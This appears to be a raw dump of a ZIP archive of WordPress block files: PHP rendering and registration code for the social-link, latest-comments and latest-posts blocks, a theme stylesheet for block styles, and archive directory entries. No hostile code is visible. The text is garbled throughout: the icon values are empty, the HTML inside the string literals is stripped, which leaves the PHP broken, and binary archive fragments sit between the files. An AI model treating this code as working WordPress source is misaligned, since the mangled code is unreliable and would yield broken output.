'/social-link/block.json'; $metadata = json_decode( file_get_contents( $path ), true ); register_block_type( $metadata['name'], array_merge( $metadata, array( 'render_callback' => 'render_block_core_social_link', ) ) ); } add_action( 'init', 'register_block_core_social_link' ); /** * Returns the SVG for social link. * * @param string $service The service icon. * * @return string SVG Element for service icon. */ function block_core_social_link_get_icon( $service ) { $services = block_core_social_link_services(); if ( isset( $services[ $service ] ) && isset( $services[ $service ]['icon'] ) ) { return $services[ $service ]['icon']; } return $services['share']['icon']; } /** * Returns the brand name for social link. * * @param string $service The service icon. * * @return string Brand label. */ function block_core_social_link_get_name( $service ) { $services = block_core_social_link_services(); if ( isset( $services[ $service ] ) && isset( $services[ $service ]['name'] ) ) { return $services[ $service ]['name']; } return $services['share']['name']; } /** * Returns the SVG for social link. * * @param string $service The service slug to extract data from. * @param string $field The field ('name', 'icon', etc) to extract for a service. * * @return array|string */ function block_core_social_link_services( $service = '', $field = '' ) { $services_data = array( 'fivehundredpx' => array( 'name' => '500px', 'icon' => '', ), 'amazon' => array( 'name' => 'Amazon', 'icon' => '', ), 'bandcamp' => array( 'name' => 'Bandcamp', 'icon' => '', ), 'behance' => array( 'name' => 'Behance', 'icon' => '', ), 'chain' => array( 'name' => 'Link', 'icon' => '', ), 'codepen' => array( 'name' => 'CodePen', 'icon' => '', ), 'deviantart' => array( 'name' => 'DeviantArt', 'icon' => '', ), 'dribbble' => array( 'name' => 'Dribbble', 'icon' => '', ), 'dropbox' => array( 'name' => 'Dropbox', 'icon' => '', ), 'etsy' => array( 'name' => 'Etsy', 'icon' => '', ), 'facebook' => array( 'name' => 'Facebook', 'icon' => '', ), 'feed' => array( 'name' => 'RSS Feed', 'icon' => '', ), 'flickr' => array( 'name' => 'Flickr', 'icon' => '', ), 'foursquare' => array( 'name' => 'Foursquare', 'icon' => '', ), 'goodreads' => array( 'name' => 'Goodreads', 'icon' => '', ), 'google' => array( 'name' => 'Google', 'icon' => '', ), 'github' => array( 'name' => 'GitHub', 'icon' => '', ), 'instagram' => array( 'name' => 'Instagram', 'icon' => '', ), 'lastfm' => array( 'name' => 'Last.fm', 'icon' => '', ), 'linkedin' => array( 'name' => 'LinkedIn', 'icon' => '', ), 'mail' => array( 'name' => 'Mail', 'icon' => '', ), 'mastodon' => array( 'name' => 'Mastodon', 'icon' => '', ), 'meetup' => array( 'name' => 'Meetup', 'icon' => '', ), 'medium' => array( 'name' => 'Medium', 'icon' => '', ), 'pinterest' => array( 'name' => 'Pinterest', 'icon' => '', ), 'pocket' => array( 'name' => 'Pocket', 'icon' => '', ), 'reddit' => array( 'name' => 'Reddit', 'icon' => '', ), 'skype' => array( 'name' => 'Skype', 'icon' => '', ), 'snapchat' => array( 'name' => 'Snapchat', 'icon' => '', ), 'soundcloud' => array( 'name' => 'Soundcloud', 'icon' => '', ), 'spotify' => array( 'name' => 'Spotify', 'icon' => '', ), 'tumblr' => array( 'name' => 'Tumblr', 'icon' => '', ), 'twitch' => array( 'name' => 'Twitch', 'icon' => '', ), 'twitter' => array( 'name' => 'Twitter', 'icon' => '', ), 'vimeo' => array( 'name' => 'Vimeo', 'icon' => '', ), 'vk' => array( 'name' => 'VK', 'icon' => '', ), 'wordpress' => array( 'name' => 'WordPress', 'icon' => '', ), 'yelp' => array( 'name' => 'Yelp', 'icon' => '', ), 'youtube' => array( 'name' => 'YouTube', 'icon' => '', ), 'share' => array( 'name' => 'Share Icon', 'icon' => '', ), ); if ( ! empty( $service ) && ! empty( $field ) && isset( $services_data[ $service ] ) && ( 'icon' === $field || 'name' === $field ) ) { return $services_data[ $service ][ $field ]; } elseif ( ! empty( $service ) && isset( $services_data[ $service ] ) ) { return $services_data[ $service ]; } return $services_data; } PKFx\q"&yylatest-comments.phpnuW+A $attributes['commentsToShow'], 'status' => 'approve', 'post_status' => 'publish', ) ) ); $list_items_markup = ''; if ( ! empty( $comments ) ) { // Prime the cache for associated posts. This is copied from \WP_Widget_Recent_Comments::widget(). $post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) ); _prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false ); foreach ( $comments as $comment ) { $list_items_markup .= '
  • '; if ( $attributes['displayAvatar'] ) { $avatar = get_avatar( $comment, 48, '', '', array( 'class' => 'wp-block-latest-comments__comment-avatar', ) ); if ( $avatar ) { $list_items_markup .= $avatar; } } $list_items_markup .= '
    '; $list_items_markup .= ''; if ( $attributes['displayExcerpt'] ) { $list_items_markup .= '
    ' . wpautop( get_comment_excerpt( $comment ) ) . '
    '; } $list_items_markup .= '
  • '; } } $class = 'wp-block-latest-comments'; if ( ! empty( $attributes['className'] ) ) { $class .= ' ' . $attributes['className']; } if ( isset( $attributes['align'] ) ) { $class .= " align{$attributes['align']}"; } if ( $attributes['displayAvatar'] ) { $class .= ' has-avatars'; } if ( $attributes['displayDate'] ) { $class .= ' has-dates'; } if ( $attributes['displayExcerpt'] ) { $class .= ' has-excerpts'; } if ( empty( $comments ) ) { $class .= ' no-comments'; } $classnames = esc_attr( $class ); return ! empty( $comments ) ? sprintf( '
      %2$s
    ', $classnames, $list_items_markup ) : sprintf( '
    %2$s
    ', $classnames, __( 'No comments to show.' ) ); } /** * Registers the `core/latest-comments` block. */ function register_block_core_latest_comments() { register_block_type( 'core/latest-comments', array( 'attributes' => array( 'align' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', 'wide', 'full', ), ), 'className' => array( 'type' => 'string', ), 'commentsToShow' => array( 'type' => 'number', 'default' => 5, 'minimum' => 1, 'maximum' => 100, ), 'displayAvatar' => array( 'type' => 'boolean', 'default' => true, ), 'displayDate' => array( 'type' => 'boolean', 'default' => true, ), 'displayExcerpt' => array( 'type' => 'boolean', 'default' => true, ), ), 'render_callback' => 'render_block_core_latest_comments', ) ); } add_action( 'init', 'register_block_core_latest_comments' ); PKFx\7Zlatest-posts.phpnuW+A $attributes['postsToShow'], 'post_status' => 'publish', 'order' => $attributes['order'], 'orderby' => $attributes['orderBy'], 'suppress_filters' => false, ); $block_core_latest_posts_excerpt_length = $attributes['excerptLength']; add_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); if ( isset( $attributes['categories'] ) ) { $args['category'] = $attributes['categories']; } $recent_posts = get_posts( $args ); $list_items_markup = ''; foreach ( $recent_posts as $post ) { $list_items_markup .= '
  • '; if ( $attributes['displayFeaturedImage'] && has_post_thumbnail( $post ) ) { $image_style = ''; if ( isset( $attributes['featuredImageSizeWidth'] ) ) { $image_style .= sprintf( 'max-width:%spx;', $attributes['featuredImageSizeWidth'] ); } if ( isset( $attributes['featuredImageSizeHeight'] ) ) { $image_style .= sprintf( 'max-height:%spx;', $attributes['featuredImageSizeHeight'] ); } $image_classes = 'wp-block-latest-posts__featured-image'; if ( isset( $attributes['featuredImageAlign'] ) ) { $image_classes .= ' align' . $attributes['featuredImageAlign']; } $list_items_markup .= sprintf( '
    %2$s
    ', $image_classes, get_the_post_thumbnail( $post, $attributes['featuredImageSizeSlug'], array( 'style' => $image_style, ) ) ); } $title = get_the_title( $post ); if ( ! $title ) { $title = __( '(no title)' ); } $list_items_markup .= sprintf( '
    %2$s', esc_url( get_permalink( $post ) ), $title ); if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $list_items_markup .= sprintf( '', esc_attr( get_the_date( 'c', $post ) ), esc_html( get_the_date( '', $post ) ) ); } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'excerpt' === $attributes['displayPostContentRadio'] ) { $trimmed_excerpt = get_the_excerpt( $post ); if ( post_password_required( $post ) ) { $trimmed_excerpt = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '
    %1$s', $trimmed_excerpt ); if ( strpos( $trimmed_excerpt, ' … ' ) !== false ) { $list_items_markup .= sprintf( '%2$s
    ', esc_url( get_permalink( $post ) ), __( 'Read more' ) ); } else { $list_items_markup .= sprintf( '' ); } } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'full_post' === $attributes['displayPostContentRadio'] ) { $post_content = wp_kses_post( html_entity_decode( $post->post_content, ENT_QUOTES, get_option( 'blog_charset' ) ) ); if ( post_password_required( $post ) ) { $post_content = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '
    %1$s
    ', $post_content ); } $list_items_markup .= "
  • \n"; } remove_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); $class = 'wp-block-latest-posts wp-block-latest-posts__list'; if ( isset( $attributes['align'] ) ) { $class .= ' align' . $attributes['align']; } if ( isset( $attributes['postLayout'] ) && 'grid' === $attributes['postLayout'] ) { $class .= ' is-grid'; } if ( isset( $attributes['columns'] ) && 'grid' === $attributes['postLayout'] ) { $class .= ' columns-' . $attributes['columns']; } if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $class .= ' has-dates'; } if ( isset( $attributes['className'] ) ) { $class .= ' ' . $attributes['className']; } return sprintf( '', esc_attr( $class ), $list_items_markup ); } /** * Registers the `core/latest-posts` block on server. */ function register_block_core_latest_posts() { register_block_type( 'core/latest-posts', array( 'attributes' => array( 'align' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', 'wide', 'full' ), ), 'className' => array( 'type' => 'string', ), 'categories' => array( 'type' => 'string', ), 'postsToShow' => array( 'type' => 'number', 'default' => 5, ), 'displayPostContent' => array( 'type' => 'boolean', 'default' => false, ), 'displayPostContentRadio' => array( 'type' => 'string', 'default' => 'excerpt', ), 'excerptLength' => array( 'type' => 'number', 'default' => 55, ), 'displayPostDate' => array( 'type' => 'boolean', 'default' => false, ), 'postLayout' => array( 'type' => 'string', 'default' => 'list', ), 'columns' => array( 'type' => 'number', 'default' => 3, ), 'order' => array( 'type' => 'string', 'default' => 'desc', ), 'orderBy' => array( 'type' => 'string', 'default' => 'date', ), 'displayFeaturedImage' => array( 'type' => 'boolean', 'default' => false, ), 'featuredImageAlign' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right' ), ), 'featuredImageSizeSlug' => array( 'type' => 'string', 'default' => 'thumbnail', ), 'featuredImageSizeWidth' => array( 'type' => 'number', 'default' => null, ), 'featuredImageSizeHeight' => array( 'type' => 'number', 'default' => null, ), ), 'render_callback' => 'render_block_core_latest_posts', ) ); } add_action( 'init', 'register_block_core_latest_posts' ); PK\M OO _blocks.scssnuW+A/* !Block styles */ // Default block margin and alignment rules. // These are replicated inside of the Group block // so that child blocks in there appear the same way. .entry .entry-content > *, .entry .entry-summary > *, .entry .entry-summary > .wp-block-group > .wp-block-group__inner-container > *, .entry .entry-content > .wp-block-group > .wp-block-group__inner-container > * { margin: 32px 0; max-width: 100%; @include postContentMaxWidth(); @include media(tablet) { margin: 32px 0; } &.alignwide { margin-left: auto; margin-right: auto; clear: both; @include media(tablet) { width: 100%; max-width: 100%; } } &.alignfull { position: relative; left: -#{$size__spacing-unit }; width: calc( 100% + (2 * #{$size__spacing-unit})); max-width: calc( 100% + (2 * #{$size__spacing-unit})); clear: both; @include media(tablet) { margin-top: calc(2 * #{$size__spacing-unit}); margin-bottom: calc(2 * #{$size__spacing-unit}); left: calc( -12.5% - 75px ); width: calc( 125% + 150px ); max-width: calc( 125% + 150px ); } } &.alignleft { /*rtl:ignore*/ float: left; max-width: calc(5 * (100vw / 12)); margin-top: 0; margin-left: 0; /*rtl:ignore*/ margin-right: $size__spacing-unit; @include media(tablet) { max-width: calc(4 * (100vw / 12)); /*rtl:ignore*/ margin-right: calc(2 * #{$size__spacing-unit}); } } &.alignright { /*rtl:ignore*/ float: right; max-width: calc(5 * (100vw / 12)); margin-top: 0; margin-right: 0; /*rtl:ignore*/ margin-left: $size__spacing-unit; @include media(tablet) { max-width: calc(4 * (100vw / 12)); margin-right: 0; /*rtl:ignore*/ margin-left: calc(2 * #{$size__spacing-unit}); } } &.aligncenter { margin-left: auto; margin-right: auto; @include postContentMaxWidth(); @include media(tablet) { margin-left: 0; margin-right: 0; } } } .entry .entry-content > *, .entry .entry-summary > * { > *:first-child { margin-top: 0; } > *:last-child { margin-bottom: 0; } } /* * Unset nested content selector styles * - Prevents layout styles from cascading too deeply * - helps with plugin compatibility */ .entry .entry-content, .entry .entry-summary { .entry-content, .entry-summary, .entry { margin: inherit; max-width: inherit; padding: inherit; @include media(tablet) { margin: inherit; max-width: inherit; padding: inherit; } } } .entry .entry-content { //! Paragraphs p.has-background { padding: 20px 30px; } //! Audio .wp-block-audio { width: 100%; audio { width: 100%; } &.alignleft audio, &.alignright audio { max-width: (0.33 * $mobile_width); @include media(tablet) { max-width: (0.5 * $tablet_width); } @include media(wide) { max-width: (0.33 * $desktop_width); } } } //! Video .wp-block-video { video { width: 100%; } } //! Button .wp-block-button { .wp-block-button__link { @include button-transition; border: none; font-size: $font__size-sm; @include font-family( $font__heading ); line-height: $font__line-height-heading; box-sizing: border-box; font-weight: bold; text-decoration: none; padding: ($size__spacing-unit * .76) $size__spacing-unit; outline: none; outline: none; &:not(.has-background) { background-color: $color__background-button; } &:not(.has-text-color) { color: white; } &:hover { color: white; background: $color__background-button-hover; cursor: pointer; } &:focus { color: white; background: $color__background-button-hover; outline: thin dotted; outline-offset: -4px; } } &:not(.is-style-squared) .wp-block-button__link { border-radius: 5px; } &.is-style-outline .wp-block-button__link, &.is-style-outline .wp-block-button__link:focus, &.is-style-outline .wp-block-button__link:active { @include button-all-transition; border-width: 2px; border-style: solid; &:not(.has-background) { background: transparent; } &:not(.has-text-color) { color: $color__background-button; border-color: currentColor; } } &.is-style-outline .wp-block-button__link:hover { color: white; border-color: $color__background-button-hover; &:not(.has-background) { color: $color__background-button-hover; } } } //! Latest posts, categories, archives .wp-block-archives, .wp-block-categories, .wp-block-latest-posts { padding: 0; list-style: none; li > a { @include font-family( $font__heading ); font-size: calc(#{$font__size_base} * #{$font__size-ratio}); font-weight: bold; line-height: $font__line-height-heading; text-decoration: none; } } .wp-block-archives, .wp-block-categories { &.aligncenter { text-align: center; } } //! Latest categories .wp-block-categories { ul { padding-top: ( .75 * $size__spacing-unit ); } li ul { list-style: none; padding-left: 0; } @include nestedSubMenuPadding(); } //! Latest posts .wp-block-latest-posts { .wp-block-latest-posts__post-date { @include font-family( $font__heading ); font-size: $font__size-xs; color: $color__text-light; line-height: 1.2; } .wp-block-latest-posts__post-full-content, .wp-block-latest-posts__post-excerpt { margin-top: $size__spacing-unit; margin-bottom: $size__spacing-unit; } li { padding-bottom: ( .5 * $size__spacing-unit ); &.menu-item-has-children, &:last-child { padding-bottom: 0; } :not(:last-child) .wp-block-latest-posts__post-excerpt { padding-bottom: ( .5 * $size__spacing-unit ); } } &.is-grid li { border-top: 2px solid $color__border; padding-top: (1 * $size__spacing-unit); margin-bottom: (2 * $size__spacing-unit); a { &:after { content: ''; } } &:last-child { margin-bottom: auto; a:after { content: ''; } } } } //! Latest preformatted text .wp-block-preformatted { font-size: $font__size-xs; line-height: 1.8; padding: $size__spacing-unit; } //! Verse .wp-block-verse { @include font-family( $font__body ); font-size: $font__size_base; line-height: 1.8; } //! Paragraphs .has-drop-cap { &:not(:focus):first-letter { @include font-family( $font__heading ); font-size: $font__size-xxxl; line-height: 1; font-weight: bold; margin: 0 0.25em 0 0; } } //! Pullquote .wp-block-pullquote { border-color: transparent; border-width: 2px; padding: $size__spacing-unit; blockquote { color: $color__text-main; border: none; margin-top: calc(4 * #{ $size__spacing-unit}); margin-bottom: calc(4.33 * #{ $size__spacing-unit}); margin-right: 0; padding-left: 0; } p { font-size: $font__size-lg; font-style: italic; line-height: 1.3; margin-bottom: 0.5em; margin-top: 0.5em; em { font-style: normal; } @include media(tablet) { font-size: $font__size-xl; } } cite { display: inline-block; @include font-family( $font__heading ); line-height: 1.6; text-transform: none; color: $color__text-light; /* * This requires a rem-based font size calculation instead of our normal em-based one, * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs. */ font-size: calc(1rem / (1.25 * #{$font__size-ratio})); } &.alignleft, &.alignright { width: 100%; padding: 0; blockquote { margin: $size__spacing-unit 0; padding: 0; text-align: left; max-width: 100%; p:first-child { margin-top: 0; } } } &.is-style-solid-color { background-color: $color__link; padding-left: 0; padding-right: 0; @include media(tablet) { padding-left: 10%; padding-right: 10%; } p { font-size: $font__size-lg; line-height: 1.3; margin-bottom: 0.5em; margin-top: 0.5em; @include media(tablet) { font-size: $font__size-xl; } } a { color: $color__background-body; } cite { color: inherit; } blockquote { max-width: 100%; color: $color__background-body; padding-left: 0; margin-left: $size__spacing-unit; margin-right: $size__spacing-unit; &.has-text-color p, &.has-text-color a, &.has-primary-color, &.has-secondary-color, &.has-dark-gray-color, &.has-light-gray-color, &.has-white-color { color: inherit; } @include media(tablet) { margin-left: 0; margin-right: 0; } } &.alignright, &.alignleft { @include media(tablet) { padding: $size__spacing-unit calc(2 * #{$size__spacing-unit}); } } &.alignfull { @include media(tablet) { padding-left: calc(10% + 58px + (2 * #{$size__spacing-unit})); padding-right: calc(10% + 58px + (2 * #{$size__spacing-unit})); } } } } //! Blockquote .wp-block-quote { &:not(.is-large), &:not(.is-style-large) { border-width: 2px; border-color: $color__link; padding-top: 0; padding-bottom: 0; } p { font-size: 1em; font-style: normal; line-height: 1.8; } cite { /* * This requires a rem-based font size calculation instead of our normal em-based one, * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs. */ font-size: calc(1rem / (1.25 * #{$font__size-ratio})); } &.is-large, &.is-style-large { margin: $size__spacing-unit 0; padding: 0; border-left: none; p { font-size: $font__size-lg; line-height: 1.4; font-style: italic; } cite, footer { /* * This requires a rem-based font size calculation instead of our normal em-based one, * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs. */ font-size: calc(1rem / (1.25 * #{$font__size-ratio})); } @include media(tablet) { margin: $size__spacing-unit 0; padding: $size__spacing-unit 0; p { font-size: $font__size-lg; } } } } //! Image .wp-block-image { max-width: 100%; img { display: block; } // If an image does not have a left/center/right alignment, // it's a direct child of .wp-block-img. If it has no other // alignment added, we want to make sure the image does not // extend beyond the width of the text column. &:not(.alignwide):not(.alignfull) > img { @include postContentMaxWidth(); } .aligncenter { @include postContentMaxWidth(); @include media(tablet) { margin: 0; width: $size__site-tablet-content; img { margin: 0 auto; } } @include media(desktop) { width: $size__site-desktop-content; img { margin: 0 auto; } } } &.alignfull img { width: 100vw; max-width: calc( 100% + (2 * #{$size__spacing-unit})); @include media(tablet) { max-width: calc( 125% + 150px ); margin-left: auto; margin-right: auto; } } } //! Cover Image .wp-block-cover-image, .wp-block-cover { position: relative; min-height: 430px; padding: $size__spacing-unit; @include media(tablet) { padding: $size__spacing-unit 10%; } .wp-block-cover-image-text, .wp-block-cover-text, h2 { @include font-family( $font__heading ); font-size: $font__size-lg; font-weight: bold; line-height: 1.25; padding: 0; color: #fff; @include media(tablet) { font-size: $font__size-xl; max-width: 100%; } } &.alignleft, &.alignright { width: 100%; @include media(tablet) { padding: $size__spacing-unit calc(2 * #{$size__spacing-unit}); } } &.alignfull { .wp-block-cover-image-text, .wp-block-cover-text, h2 { @include postContentMaxWidth(); } @include media(tablet) { padding-left: calc(10% + 58px + (2 * #{$size__spacing-unit})); padding-right: calc(10% + 58px + (2 * #{$size__spacing-unit})); .wp-block-cover-image-text, .wp-block-cover-text, h2 { padding: 0; } } } } //! Galleries .wp-block-gallery { list-style-type: none; padding-left: 0; .blocks-gallery-image:last-child, .blocks-gallery-item:last-child { margin-bottom: 16px; } figcaption a { color: #fff; } } //! Captions .wp-block-audio figcaption, .wp-block-video figcaption, .wp-block-image figcaption, .wp-block-gallery .blocks-gallery-image figcaption, .wp-block-gallery .blocks-gallery-item figcaption { font-size: $font__size-xs; @include font-family( $font__heading ); line-height: $font__line-height-pre; margin: 0; padding: ( $size__spacing-unit * .5 ); text-align: center; } //! Separator .wp-block-separator, hr { background-color: $color__text-light; border: 0; height: 2px; margin-bottom: (2 * $size__spacing-unit); margin-top: (2 * $size__spacing-unit); max-width: 2.25em; text-align: left; &.is-style-wide { max-width: 100%; @include postContentMaxWidth(); } &.is-style-dots { max-width: 100%; @include postContentMaxWidth(); background-color: inherit; border: inherit; height: inherit; text-align: center; // Only apply the default dot color if there's no separator color specified. &:not(.has-text-color):not(.has-background) { color: $color__text-light; } &:before { font-size: $font__size-lg; letter-spacing: $font__size-sm; padding-left: $font__size-sm; } } /* Remove duplicate rule-line when a separator * is followed by an H1, or H2 */ & + h1, & + h2 { &:before { display: none; } } } //! Twitter Embed .wp-block-embed-twitter { word-break: break-word; } //! Table .wp-block-table { th, td { border-color: $color__text-light; } } //! File .wp-block-file { @include font-family( $font__heading ); .wp-block-file__button { display: table; @include button-transition; border: none; border-radius: 5px; background: $color__background-button; font-size: $font__size-base; @include font-family( $font__heading ); line-height: $font__line-height-heading; text-decoration: none; font-weight: bold; padding: ($size__spacing-unit * .75) $size__spacing-unit; color: #fff; margin-left: 0; margin-top: calc(0.75 * #{$size__spacing-unit}); @include media(desktop) { font-size: $font__size-base; padding: ($size__spacing-unit * .875) ($size__spacing-unit * 1.5); } &:hover { background: $color__background-button-hover; cursor: pointer; } &:focus { background: $color__background-button-hover; outline: thin dotted; outline-offset: -4px; } } } //! Code .wp-block-code { border-radius: 0; code { font-size: $font__size-md; white-space: pre-wrap; word-break: break-word; } } //! Columns .wp-block-columns { .wp-block-column > * { &:first-child { margin-top: 0; } &:last-child { margin-bottom: 0; } } // Ensure images do not expand beyond the column. .wp-block-image > img:not(.alignwide):not(.alignfull), .wp-block-image > figure { @include media(tablet) { max-width: 100%; } @include media(desktop) { max-width: 100%; } } @include media(tablet) { flex-wrap: nowrap; .wp-block-column:not(:first-child) { margin-left: 32px; } } } //! Group .wp-block-group { // When the Group block is standard/wide, we need to prevent full-aligned // child blocks from expanding out of their container. &:not(.alignfull) > .wp-block-group__inner-container > .alignfull, &:not(.alignfull) > .wp-block-group__inner-container > .wp-block-image > img { @include media(tablet) { left: 0; max-width: 100%; } } // The full-width Group block's inner container should mimic .entry-content styles. &.alignfull > .wp-block-group__inner-container { max-width: calc(100% - (2 * #{ $size__spacing-unit })); margin: 0 $size__spacing-unit; @include media(tablet) { max-width: 80%; margin: 0 10%; padding: 0 60px; } } // Group block with a colored background. &.has-background { padding: $size__spacing-unit; margin-top: 0; margin-bottom: 0; // Remove the top and bottom margins of inner blocks. .wp-block-group__inner-container { > *:first-child { margin-top: 0; } > *:last-child { margin-bottom: 0; } } // If the Group block is full-width, it does not need this extra padding. &.alignfull { padding-left: 0; padding-right: 0; @include media(tablet) { padding-top: $size__spacing-unit; padding-bottom: $size__spacing-unit; } } // Full-aligned child blocks should take up the maximum width available in their container. &:not(.alignfull) > .wp-block-group__inner-container > .alignfull { width: 100%; max-width: 100%; @include media(tablet) { width: calc( 100% + #{$size__spacing-unit * 2} ); max-width: calc( 100% + #{$size__spacing-unit * 2} ); margin-left: -#{$size__spacing-unit}; } } } } //! Latest Comments .wp-block-latest-comments { .wp-block-latest-comments__comment-meta { @include font-family( $font__heading ); font-weight: bold; .wp-block-latest-comments__comment-date { font-weight: normal; } } .wp-block-latest-comments__comment, .wp-block-latest-comments__comment-date, .wp-block-latest-comments__comment-excerpt p { font-size: inherit; } &.has-avatars { } &.has-dates { .wp-block-latest-comments__comment-date { font-size: $font__size-xs; } } &.has-excerpts { } } //! Font Sizes .has-small-font-size { font-size: $font__size-sm; } .has-normal-font-size { font-size: $font__size-md; } .has-large-font-size { font-size: $font__size-lg; } .has-huge-font-size { font-size: $font__size-xl; } //! Custom background colors .has-primary-background-color, .has-secondary-background-color, .has-dark-gray-background-color, .has-light-gray-background-color { // Use white text against these backgrounds by default. color: $color__background-body; > p, > h1, > h2, > h3, > h4, > h5, > h6, > a { color: $color__background-body; } } .has-white-background-color { color: $color__text-main; // Use dark gray text against this background by default. > p, > h1, > h2, > h3, > h4, > h5, > h6, > a { color: $color__text-main; } } .has-primary-background-color, .wp-block-pullquote.is-style-solid-color.has-primary-background-color { background-color: $color__link; } .has-secondary-background-color, .wp-block-pullquote.is-style-solid-color.has-secondary-background-color { background-color: $color__border-link-hover; } .has-dark-gray-background-color, .wp-block-pullquote.is-style-solid-color.has-dark-gray-background-color { background-color: $color__text-main; } .has-light-gray-background-color, .wp-block-pullquote.is-style-solid-color.has-light-gray-background-color { background-color: $color__text-light; } .has-white-background-color, .wp-block-pullquote.is-style-solid-color.has-white-background-color { background-color: #FFF; } //! Custom foreground colors .has-primary-color, .wp-block-pullquote blockquote.has-primary-color, .wp-block-pullquote.is-style-solid-color blockquote.has-primary-color, .wp-block-pullquote.is-style-solid-color blockquote.has-primary-color > p { color: $color__link; } .has-secondary-color, .wp-block-pullquote blockquote.has-secondary-color, .wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color, .wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color > p { color: $color__border-link-hover; } .has-dark-gray-color, .wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color, .wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color > p { color: $color__text-main; } .has-light-gray-color, .wp-block-pullquote blockquote.has-light-gray-color, .wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color, .wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color > p { color: $color__text-light; } .has-white-color, .wp-block-pullquote blockquote.has-white-color, .wp-block-pullquote.is-style-solid-color blockquote.has-white-color { color: #FFF; } } PKFx\4rshortcode/block.jsonnuW+APKFx\@P~shortcode/widgets/index.phpnuW+APKFx\J- archives.phpnuW+APKFx\F1'social-link/block.jsonnuW+APKFx\~$0  (categories.phpnuW+APKFx\  5tag-cloud.phpnuW+APKFx\Ϸ88 c<shortcode.phpnuW+APKFx\lS^?rss.phpnuW+APKFx\P#  Pcalendar.phpnuW+APKFx\  Xblock.phpnuW+APKFx\h6 6  ]search.phpnuW+APKFx\(|fsocial-link.phpnuW+APKFx\q"&yy@latest-comments.phpnuW+APKFx\7Z[Wlatest-posts.phpnuW+APK\M OO s_blocks.scssnuW+APK